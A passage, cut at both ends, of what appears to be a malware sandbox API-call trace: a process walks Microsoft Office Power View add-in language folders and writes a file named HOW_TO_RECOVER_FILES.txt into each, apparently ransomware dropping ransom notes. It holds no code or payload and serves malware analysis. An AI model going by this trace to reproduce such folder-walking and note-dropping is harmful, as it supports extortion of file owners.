0x82c [0222.584] GetFileType (hFile=0x82c) returned 0x1 [0222.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0222.584] GetFileType (hFile=0x82c) returned 0x1 [0222.585] WriteFile (in: hFile=0x82c, lpBuffer=0x35e0c50*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x35e0c50*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0222.586] CloseHandle (hObject=0x82c) returned 1 [0222.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0222.586] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs", lpFilePart=0x0) returned 0x51 [0222.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0222.587] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.587] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbda21cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbda21cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0222.587] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0222.587] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0222.587] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9a9d821, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9bf4d66, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4920, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0222.588] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133cde53, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50101, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.cs.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0222.588] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.588] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0222.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0222.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0222.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0222.589] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs", lpFilePart=0x0) returned 0x51 [0222.589] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b4c0 [0222.589] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.590] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbda21cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbda21cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0222.590] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0222.590] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0222.590] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9a9d821, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9bf4d66, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4920, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0222.590] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133cde53, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50101, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.cs.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0222.590] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133cde53, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50101, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.cs.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0222.591] FindClose (in: hFindFile=0x134b4c0 | out: hFindFile=0x134b4c0) returned 1 [0222.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0222.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0222.592] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0222.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0222.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\cs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0222.593] GetFileType (hFile=0x82c) returned 0x1 [0222.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0222.593] GetFileType (hFile=0x82c) returned 0x1 [0222.594] WriteFile (in: hFile=0x82c, lpBuffer=0x35f4420*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x35f4420*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0222.595] CloseHandle (hObject=0x82c) returned 1 [0222.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0222.595] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da", lpFilePart=0x0) returned 0x51 [0222.595] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0222.597] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.597] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a6473, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0222.597] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0222.597] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68b32cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68b32cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68ff786, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0222.597] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2ee20e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f5480d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0222.597] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ebba, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.da.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0222.598] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.598] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0222.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0222.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0222.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0222.598] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da", lpFilePart=0x0) returned 0x51 [0222.598] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0222.599] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.599] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a6473, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0222.600] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0222.600] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68b32cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68b32cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68ff786, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0222.600] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2ee20e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f5480d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0222.600] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ebba, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.da.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0222.600] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ebba, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.da.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0222.600] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0222.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0222.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0222.601] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0222.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0222.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\da\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0222.603] GetFileType (hFile=0x82c) returned 0x1 [0222.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0222.603] GetFileType (hFile=0x82c) returned 0x1 [0222.604] WriteFile (in: hFile=0x82c, lpBuffer=0x3607bf0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3607bf0*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0222.604] CloseHandle (hObject=0x82c) returned 1 [0222.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0222.605] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de", lpFilePart=0x0) returned 0x51 [0222.605] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0222.606] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, 